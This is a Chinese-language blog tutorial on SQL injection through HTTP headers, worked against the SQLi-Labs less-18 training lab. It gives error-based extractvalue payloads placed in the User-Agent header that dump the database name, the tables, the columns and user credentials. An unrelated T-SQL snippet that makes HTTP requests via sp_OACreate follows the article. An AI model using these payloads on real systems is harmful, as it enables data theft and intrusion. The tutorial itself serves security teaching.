SQL注入-HTTP头注入

目录

HTTP Header概述

HTTP Header注入

HTTP Header注入概述

HTTP Header注入实例


HTTP Header概述

HTTP工作原理

HTTP请求方法

HTTP报文类型

请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-LIne),请求头域(Header-Field)和请求体(Entity-Body)。

响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-LIne),响应头域(Header-Field)和响应体(Entity-Body)。

请求报文组成

请求报文实例

响应报文组成

HTTP响应报文实例

HTTP响应消息状态码

HTTP Header部分内容

  1. X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XFF头可以实现伪造IP)。
  2. Client-IP:同上。
  3. Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
  4. User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
  5. Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
  6. Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号

HTTP Header注入

HTTP Header注入概述

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者
通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。 

HTTP Header注入的前提条件

  • 能对请求头消息进行修改
  • 修改的请求头信息能够带入数据库执行
  • 数据库没有对输入的请求头过滤

常见注入类型

Cookie注入 :服务器对cookie字段进行获取 验证客户端身份 

Referer注入:服务器记录referer字段用于统计网站的点击量

User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等,服务器根据提供的信息来给客户端推送不同的网页

XFF注入:一些网站的防注入功能会记录客户端真实ip地址并写入数据库


HTTP Header注入实例

目标靶机:SQL-Lab的less-18

典型应用场景:服务器获取User-Agent头部字段值,并用Insert命令将其写入数据库

注入方式:利用Burpsuite抓包,在User-Agent头部字段设置注入payload

分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句

抓包判断注入点  在user-agent后添加一个单引号

服务器响应 ,语法有错误   并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽

能判断出该字段存在注入点

这个单引号与服务器端固定sql语句‘uagent’第一个单引号结合 第二个单引号引发的语法错误

添加注释也报错

原因 注释把后面所有sql注释掉了 这样就造成了 VALUES('$uagent' 

括号引发的报错 如果加上)也是不行的 

插入数据量必须是三个值 需要额外添加两个值

无报错信息 说明现在就可以在这个位置设置payload了 在第一个单引号后面设置

源码中是通过insert方式插入数据 所以不能使用union 

可以使用报错的方式进行构造sql语句

爆数据库

'and extractvalue(1,concat('~',database())),'','')#

成功爆出当前数据库

爆当前数据库所有表

'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))),'','')#

爆user表所有字段

'and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

爆字段值

'and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from  security.users limit 0,1))),'','')#

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
DECLARE @Object int; DECLARE @HR int; DECLARE @Property nvarchar(255); DECLARE @Return nvarchar(255); DECLARE @Source nvarchar(255), @Desc nvarchar(255); DECLARE @httpStatus int; DECLARE @response varchar(8000); --创建 OLE 对象的实例 EXEC @HR = sp_OACreate N'MSXML2.XMLHTTP.6.0',@Object OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Error Creating COM Component 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO END_ROUTINE END BEGIN --Open EXEC @HR = sp_OAMethod @Object,N'open',Null,'GET','http://localhost:1728/HttpServer/submit.aspx',FALSE; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('Open 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --setRequestHeader EXEC @HR = sp_OAMethod @Object,N'setRequestHeader',Null,'Content-Type','text/xml'; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('setRequestHeader 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --send EXEC @HR = sp_OAMethod @Object,N'send',Null,''; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('send 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --readyState EXEC @HR = sp_OAGetProperty @Object,'readyState', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('readyState 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 4 BEGIN RAISERROR('readyState http status bad', 16,1) GOTO CLEANUP END --status EXEC @HR = sp_OAGetProperty @Object,'status', @httpStatus OUT; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('getstatus 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END --verify status IF @httpStatus 200 BEGIN Print Cast(@httpStatus As varchar) RAISERROR('Open http status bad', 16,1) GOTO CLEANUP END --responseText EXEC @HR = sp_OAGetProperty @Object, 'responseText', @response OUT IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; RAISERROR('responseText 0x%x, %s, %s',16,1, @HR, @Source, @Desc) GOTO CLEANUP END Print @response END CLEANUP: BEGIN EXEC @HR = sp_OADestroy @Object; IF @HR 0 BEGIN EXEC sp_OAGetErrorInfo @Object,@Source OUT,@Desc OUT; SELECT HR = convert(varbinary(4),@HR),Source=@Source,Description=@Desc; END END END_ROUTINE: RETURN; GO

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello-smile

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值